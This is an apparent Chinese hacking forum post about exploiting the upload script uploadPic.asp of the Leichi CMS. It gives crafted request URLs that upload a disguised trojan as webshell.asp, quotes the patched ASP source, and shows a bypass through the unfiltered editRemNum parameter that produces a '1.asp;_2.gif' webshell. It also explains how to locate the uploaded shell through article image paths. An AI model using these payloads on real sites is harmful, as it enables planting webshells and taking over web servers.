大约是4月的时候出的 测试了下 应该对朋友们有用吧 如果有帮助大家就给我顶起来
雷池上传的利用其实是很早以前的事了,后来出了补丁
某日一人叫我拿几个站发现都有打了补丁的雷池,后来偶然间看了看代码,遂有此文
以下是雷池上传的介绍
==========================================
假如雷池的上传文件uploadPic.asp在admin目录下即admin/uploadPic.asp
那么我们可以这样利用漏洞:
在浏览器中输入:http://www.xxxx.com/admin/uploadPic.asp?actionType=mod& picName=webshell.asp出现上传的地方.把我们的马改成以.gif结尾的文件,上传就可以得到一个名为webshell.asp的 webshell了!
注意,我们上传的webshell到底怎么知道上传在哪里去了呢?
我们可以这样来找,我们查看改网站发表的文章,这里我们可以看到加了图片的文章,我们右键图片,查看属性,就可以知道上传的木马在哪个目录了,我们的木马应该就是http://www.xxxx.com/admin/upload/webshell.asp
================================
打了补丁后似乎是过滤了%和.只类的符号,也就是说定义文件名是1.ASP时,返回文件名是1asp.gif
dim upload_code,remNum,remFileName,editImageNum,actionType,editRemNum
upload_code = trim(Request.QueryString("upload_code"))
editImageNum = trim(Request.QueryString("editImageNum"))
actionType = trim(Request.QueryString("actionType"))
picName = trim(Request.QueryString("picName"))
editRemNum = trim(Request.QueryString("editRemNum"))
if actionType= "mod" then
picName = Right(picName,InstrRev(picName,"/")-1)
end if
if upload_code = "ok" then
'获取文章中的图片
dim upload,file,formName,formPath,iCount
formPath="../uppic/"
.........
else
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
'生成图片名字
if actionType= "mod" then
remFileName = replace(Right(picName,len(picName)-InstrRev(picName,"/")),".","")&".gif"
else
if editRemNum<>"" then
remNum = editRemNum
else
Randomize
remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
end if
remFileName = remNum&"_"&(editImageNum+1)&".gif"
end if
file.SaveAs Server.mappath(formPath&remFileName) ''保存文件
Response.Write(formPath&remFileName)
可以看出editRemNum不为空时remFileName = remNum&"_"&(editImageNum+1)&".gif"
然而在接受参数时 但没有进行过滤 于是构造uploadPic.asp?actionType=od&editRemNum=1.asp;& upload_code=ok&editImageNum=1
得到一个名为1.asp;_2.gif的WEBSHELL
|